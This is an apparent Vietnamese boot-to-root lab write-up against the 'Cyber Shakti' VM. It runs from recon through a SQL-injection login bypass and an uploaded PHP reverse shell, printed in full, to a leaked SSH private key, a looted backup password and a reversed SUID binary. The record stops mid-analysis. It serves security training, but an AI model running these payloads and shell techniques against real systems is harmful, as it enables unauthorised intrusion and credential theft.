# B2R: "Cyber Shakti"
```!
Báo cáo này trình bày chi tiết về các hoạt động và kết quả của cuộc thử nghiệm xâm nhập được thực hiện trên hệ thống mục tiêu có địa chỉ IP là 192.168.233.143. Mục tiêu chính của cuộc đánh giá là xác định các lỗ hổng bảo mật tiềm ẩn, khai thác chúng một cách có kiểm soát để đánh giá mức độ rủi ro, và cuối cùng là đề xuất các phương án khắc phục nhằm nâng cao tình trạng an ninh của hệ thống. Quá trình đánh giá mô phỏng lại các kỹ thuật tấn công của một kẻ tấn công thực tế, đi từ giai đoạn không có thông tin ban đầu cho đến khi chiếm được quyền quản trị cao nhất (root) trên máy chủ.
```
---
## Giai đoạn 1: Trinh sát và Quét cổng
- Mục tiêu: Xác định các dịch vụ đang chạy trên máy chủ.

`arp-scan --localnet`

```bash!
┌──(root㉿kali)-[/home/kali/Desktop]
└─# arp-scan --localnet
Interface: eth0, type: EN10MB, MAC: 00:0c:29:f3:61:85, IPv4: 192.168.233.131
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.233.1 00:50:56:c0:00:08 VMware, Inc.
192.168.233.2 00:50:56:f6:8e:07 VMware, Inc.
192.168.233.143 00:0c:29:26:4d:ab VMware, Inc.
192.168.233.162 00:0c:29:d2:ff:a5 VMware, Inc.
192.168.233.254 00:50:56:f3:8a:d6 VMware, Inc.
```
- Ở đây ta cần chú ý đến ip `192.168.233.143` bởi nó là ip của máy chủ ta cần khai thác:
- 
---
## Giai đoạn 2: Khai thác Lỗ hổng Web và Chiếm quyền Admin (Flag 1)
- Sau khi truy cập thành công trang web tại `http://192.168.233.143`, ta fuzzing endpoint nhằm tìm kiếm thư mục/tệp ẩn:
- `ffuf -u http://192.168.233.143/FUZZ -w /usr/share/wordlists/dirb/common.txt`
```bash!
┌──(root㉿kali)-[/home/kali/Desktop]
└─# ffuf -u http://192.168.233.143/FUZZ -w /usr/share/wordlists/dirb/common.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://192.168.233.143/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/common.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
[Status: 200, Size: 1709, Words: 613, Lines: 63, Duration: 5ms]
.hta [Status: 403, Size: 280, Words: 20, Lines: 10, Duration: 5ms]
admin [Status: 301, Size: 318, Words: 20, Lines: 10, Duration: 1ms]
assets [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 1ms]
.htaccess [Status: 403, Size: 280, Words: 20, Lines: 10, Duration: 119ms]
.htpasswd [Status: 403, Size: 280, Words: 20, Lines: 10, Duration: 239ms]
index.html [Status: 200, Size: 1709, Words: 613, Lines: 63, Duration: 1ms]
server-status [Status: 403, Size: 280, Words: 20, Lines: 10, Duration: 1ms]
:: Progress: [4614/4614] :: Job [1/1] :: 19 req/sec :: Duration: [0:00:10] :: Errors: 0 ::
```
- 
- Kết quả cho thấy sự tồn tại của thư mục `/admin`, truy cập vào `http://192.168.233.143/admin/`, ta có được giao diện đăng nhập:
- 
Thực hiện tấn công SQL Injection tại form đăng nhập bằng cách sử dụng payload `' or 1=1 limit 1--` cho cả hai trường username và password:
- 
Kết Quả:
- 
```bash=
Logged in as admin!
Flag 1: W3b_@dm|n_1o9in_Succe$$
```
---
## Giai đoạn 3: Giành quyền Truy cập Shell (Reverse Shell)
- Mục tiêu: Tải lên và thực thi mã độc để có một shell điều khiển từ xa.
- Trên trang quản trị, phát hiện một chức năng cho phép tải tệp lên tại `/upload.php`
> http://192.168.233.143/admin/upload.php

Tiếp theo, mình Chuẩn bị "Listener" trên máy Kali, Bước này rất quan trọng, phải được làm trước khi tải file lên. Mở một cửa sổ terminal mới trên máy Kali và chạy lệnh sau để nó bắt đầu "lắng nghe" kết nối từ máy chủ Ubuntu:
`nc -lvnp 1234`
```bash!
nc: Netcat, công cụ để làm việc với kết nối mạng.
-l: Chế độ lắng nghe (Listen).
-v: Hiển thị thông tin chi tiết (Verbose).
-n: Không phân giải tên miền (DNS).
-p 1234: Lắng nghe trên cổng (port) 1234
```
Chuẩn bị file Reverse Shell (Payload), Tìm trên Google với từ khóa ["pentestmonkey php reverse shell" ](https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php)và tải file .php về máy Kali.
```bash!
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. The author accepts no liability
// for damage caused by this tool. If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1'; // CHANGE THIS
$port = 1234; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
```
Chỉnh sửa file: Mở file shell.php bằng một trình soạn thảo văn bản. Tìm và sửa chính xác 2 dòng sau:
```
$ip = '127.0.0.1'; <- Sửa dòng này
$port = 1234;
```
Thay 127.0.0.1 bằng địa chỉ IP của máy Kali: `ip addr show eth0`

> 192.168.233.131
Sau khi setup xong, ta sẽ dùng 2 lệnh này để listen đến khi upload shell thành công:
Tải lên và Kích hoạt Shell, Sau khi tải lên thành công, máy chủ thường sẽ cho biết file được lưu ở đâu.


> http://192.168.233.143/admin/upload_handler.php
> 192.168.233.143/admin/uploads/shell.php
```powershell!
┌──(root㉿kali)-[/home/kali/Desktop]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.233.131] from (UNKNOWN) [192.168.233.143] 51388
Linux cybershakti 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
07:39:00 up 3:02, 2 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
john pts/1 192.168.233.143 27Sep25 89days 0.20s 0.04s sshd: john [priv]
admin pts/2 192.168.233.143 27Sep25 89days 0.01s 0.01s sudo /usr/local/bin/hydra_key
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ ls
backups
bin
boot
cdrom
dev
etc
home
lib
lib32
lib64
libx32
lost+found
media
mnt
opt
proc
root
run
sbin
snap
srv
swap.img
sys
tmp
usr
var
$ pwd
/
$ whoami
www-data
$
```
## Giai đoạn 4: Leo thang đặc quyền (Privilege Escalation).
### 4.1 Bước 1: Ổn định Shell (Thực hiện trên Terminal)
Cần làm để thao tác lệnh su (chuyển user) không bị lỗi.
Trên cửa sổ terminal đang có shell chạy lệnh sau:
```python=
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

### 4.2 Bước 2: Thu thập thông tin
Trong thực tế, khi mới có shell, ta thường kiểm tra xem có file nào có quyền SUID lạ không (file chạy dưới quyền root).
Hành động trên máy (Shell www-data): Gõ lệnh tìm kiếm file SUID:
```
find / -perm /4000 2>/dev/null
```
```bash=
www-data@cybershakti:/$ find / -perm /4000 2>/dev/null
find / -perm /4000 2>/dev/null
/usr/libexec/polkit-agent-helper-1
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/su
/usr/bin/fusermount3
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/chsh
/usr/bin/sudo
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/local/bin/hydra_key
/snap/core20/2571/usr/bin/chfn
/snap/core20/2571/usr/bin/chsh
/snap/core20/2571/usr/bin/gpasswd
/snap/core20/2571/usr/bin/mount
/snap/core20/2571/usr/bin/newgrp
/snap/core20/2571/usr/bin/passwd
/snap/core20/2571/usr/bin/su
/snap/core20/2571/usr/bin/sudo
/snap/core20/2571/usr/bin/umount
/snap/core20/2571/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/2571/usr/lib/openssh/ssh-keysign
/snap/core20/2599/usr/bin/chfn
/snap/core20/2599/usr/bin/chsh
/snap/core20/2599/usr/bin/gpasswd
/snap/core20/2599/usr/bin/mount
/snap/core20/2599/usr/bin/newgrp
/snap/core20/2599/usr/bin/passwd
/snap/core20/2599/usr/bin/su
/snap/core20/2599/usr/bin/sudo
/snap/core20/2599/usr/bin/umount
/snap/core20/2599/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/2599/usr/lib/openssh/ssh-keysign
/snap/snapd/24505/usr/lib/snapd/snap-confine
```
Chú ý đến một cái tên "lạ lẫm" nằm giữa những file hệ thống quen thuộc:
`/usr/local/bin/hydra_key`
Tại sao nó đáng ngờ?
Nó nằm trong /usr/local/bin (thư mục dành cho các chương trình do người dùng/admin tự cài đặt), trong khi các file SUID chuẩn của Linux (như passwd, su, sudo) thường nằm trong /usr/bin.
Tên hydra_key nghe rất giống tên của một bài CTF hoặc công cụ hacking, không phải tên dịch vụ Linux chuẩn.
Đây chính là chìa khóa để leo lên Root (Flag 4) sau này. Hãy ghi chú lại nó vào báo cáo phần "Enumeration".
> Trong thực tế, ít khi ai đó gõ lệnh find thủ công ngay lập tức mà trúng đích ngay (trừ khi đã biết trước). Quy trình thực tế thường là: Chạy tool tự động (như LinPEAS) để quét toàn bộ -> Đọc log -> Lọc ra cái đáng ngờ -> Mới đi kiểm tra kỹ.
> TEST: https://hackmd.io/@fr4nk/B1H8CgLhxl
### 4.3 Bước tiếp theo: Tìm chìa khóa vào nhà "John" (Flag 2)
Tuy nhiên, chúng ta chưa vội đụng đến hydra_key (thường cần quyền user cao hơn để chạy hoặc đọc nó). Bây giờ mục tiêu là tìm đường vào user John thông qua SSH Key như chúng ta đã phân tích.
Bạn hãy chạy lệnh sau để quét toàn bộ hệ thống tìm file khóa SSH (thường tên là id_rsa):
```powershell=
www-data@cybershakti:/$ find / -name id_rsa 2>/dev/null
find / -name id_rsa 2>/dev/null
www-data@cybershakti:/$ find / -name "*private_key*" 2>/dev/null
find / -name "*private_key*" 2>/dev/null
/mnt/host/john_private_key
www-data@cybershakti:/$
```

Lệnh find / -name id_rsa không ra kết quả vì tên file đã bị đổi, nhưng khi chuyển sang tìm *private_key* đã đem lại kết quả chính xác:
/mnt/host/john_private_key
Đây chính là chìa khóa để chúng ta đăng nhập vào user john mà không cần mật khẩu. Hãy thực hiện ngay các bước sau để lấy quyền user này và Flag 2.
Lấy nội dung Key (Thực hiện trên máy nạn nhân)
Tại shell www-data hiện tại, hãy đọc nội dung file đó:
`cat /mnt/host/john_private_key`
```poweshell=
www-data@cybershakti:/$ cat /mnt/host/john_private_key
cat /mnt/host/john_private_key
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
```
Cho nó ra 1 file mới, cấp quyền
`chmod 600 john.key`
Đăng nhập SSH
Kết nối tới máy nạn nhân với tư cách user john:
`ssh -i john.key john@192.168.233.143`
```powershell=
┌──(root㉿kali)-[/home/kali/Desktop]
└─# ssh -i john.key john@192.168.233.143
The authenticity of host '192.168.233.143 (192.168.233.143)' can't be established.
ED25519 key fingerprint is SHA256:A9FqZw2levfTjPTw43DnFJYUjPiU7X1hTKz//23yzgY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.233.143' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-124-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Fri Dec 26 07:58:07 AM UTC 2025
System load: 0.0 Processes: 255
Usage of /: 55.1% of 11.21GB Users logged in: 2
Memory usage: 23% IPv4 address for ens33: 192.168.233.143
Swap usage: 0%
Expanded Security Maintenance for Applications is not enabled.
1 update can be applied immediately.
To see these additional updates run: apt list --upgradable
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Sat Sep 27 08:39:12 2025 from 192.168.233.143
john@cybershakti:~$
```

## Giai đoạn 5: Khai thác Backup & Leo thang lên Admin.
Mục tiêu của giai đoạn này là tìm kiếm mật khẩu của user admin để leo thang đặc quyền tiếp. Thông thường, các file backup bị lãng quên là nơi chứa thông tin này.
Bước 1: Tìm kiếm và Lấy file Backup (Thực hiện ngay)
Vì bạn đang có quyền SSH của user john, việc lấy file sẽ dễ dàng hơn nhiều so với lúc dùng shell www-data.
1. Kiểm tra thư mục Backup (Trên máy nạn nhân - SSH John): Hãy gõ lệnh sau để xem có gì trong thư mục /backups:
`ls -la /backups`

Vì bạn đã có quyền SSH (user john), chúng ta sẽ dùng lệnh scp (Secure Copy) trên máy Kali để kéo file về ổn định hơn netcat.
Thực hiện trên máy Kali (mở Terminal mới): Chạy lệnh sau (đảm bảo bạn đang đứng ở thư mục chứa file john.key):
```powershell=
scp -i john.key john@192.168.233.143:/backups/backup.zip .
```
```bash=
─(root㉿kali)-[/home/kali/Desktop]
└─# scp -i john.key john@192.168.233.143:/backups/backup.zip .
backup.zip 100% 240 84.0KB/s 00:00
┌──(root㉿kali)-[/home/kali/Desktop]
└─# ls
backup.zip
```
(Lệnh này nghĩa là: Dùng khóa john.key để copy file /backups/backup.zip từ máy 192.168.233.143 về thư mục hiện tại .)

```powershell=
┌──(root㉿kali)-[/home/kali/Desktop]
└─# unzip backup.zip
Archive: backup.zip
[backup.zip] backups/admin_password.txt password:
extracting: backups/admin_password.txt
┌──(root㉿kali)-[/home/kali/Desktop]
└─# cat backups/admin_password.txt
QuvXmdLZx
┌──(root㉿kali)-[/home/kali/Desktop]
└─#
```
`secret123` là mật khẩu để MỞ file zip.
`QuvXmdLZx` (nội dung trong file text bạn vừa cat) mới là mật khẩu để ĐĂNG NHẬP user Admin.
Bạn hãy dùng chuỗi ký tự QuvXmdLZx này để leo thang đặc quyền ngay bây giờ.
Bước tiếp theo: Leo thang lên Admin (Thực hiện trên máy nạn nhân)
Quay lại cửa sổ SSH của user john trên máy nạn nhân:

Lỗi ls: cannot open directory '.': Permission denied xuất hiện vì bạn vẫn đang đứng ở thư mục /home/john (nhà của John), mà Admin thì không có quyền xem nhà của John.

## Giai đoạn 6: Phân tích Động (Dynamic Analysis) và Leo quyền Root
Leo thang lên Root (Final Step)
Kiểm tra quyền sudo:
`sudo -l`
```powershell!
admin@cybershakti:~$ sudo -l
Matching Defaults entries for admin on cybershakti:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User admin may run the following commands on cybershakti:
(ALL) NOPASSWD: /usr/local/bin/hydra_key
(ALL) !/bin/su, !/bin/bash, !/usr/bin/sudo
admin@cybershakti:~$
```
Dòng quan trọng nhất ở đây là: (ALL) NOPASSWD: /usr/local/bin/hydra_key
Điều này có nghĩa là user admin có thể chạy file /usr/local/bin/hydra_key dưới quyền bất kỳ ai (bao gồm cả root) mà không cần nhập mật khẩu của user hiện tại.
Khai thác để lên Root
`sudo /usr/local/bin/hydra_key`
Tuy nhiên thì nó cần pass:
```
┌──(root㉿kali)-[/home/kali/Desktop]
└─# scp admin@192.168.233.143:/usr/local/bin/hydra_key .
admin@192.168.233.143's password:
hydra_key 100% 16KB 4.9MB/s 00:00
┌──(root㉿kali)-[/home/kali/Desktop]
└─#
```
Rev time:
```
┌──(root㉿kali)-[/home/kali/Desktop]
└─# chmod +x hydra_key
┌──(root㉿kali)-[/home/kali/Desktop]
└─# ltrace ./hydra_key
strlen("\b\036\030\t\036\017Z") = 7
strlen("\b\036\030\t\036\017Z") = 7
strlen("\b\036\030\t\036\017Z") = 7
strlen("\b\036\030\t\036\017Z") = 7
strlen("\b\036\030\t\036\017Z") = 7
strlen("\b\036\030\t\036\017Z") = 7
strlen("\b\036\030\t\036\017Z") = 7
strlen("\b\036\030\t\036\017Z") = 7
strlen("\b\036\030\t\036\017Z") = 7
printf("Enter the secret password: ") = 27
__isoc99_scanf(0x55f1e1ae3024, 0x7ffec5b025b0, 0, 0Enter the secret password:
```
Do không dùng được IDA, mình đổi phương án
Phân tích động bằng ltrace
ltrace là công cụ theo dõi các hàm thư viện. Vì trong kết quả strings có hàm strcmp (so sánh chuỗi), ltrace sẽ bắt được khoảnh khắc chương trình so sánh mật khẩu bạn nhập với mật khẩu đúng (đã được giải mã).

strcmp("123456", "secret!")
Đây chính là bằng chứng "thép":
123456: Là cái bạn nhập vào.
secret!: Là mật khẩu đúng mà chương trình đang giữ trong bộ nhớ để so sánh.

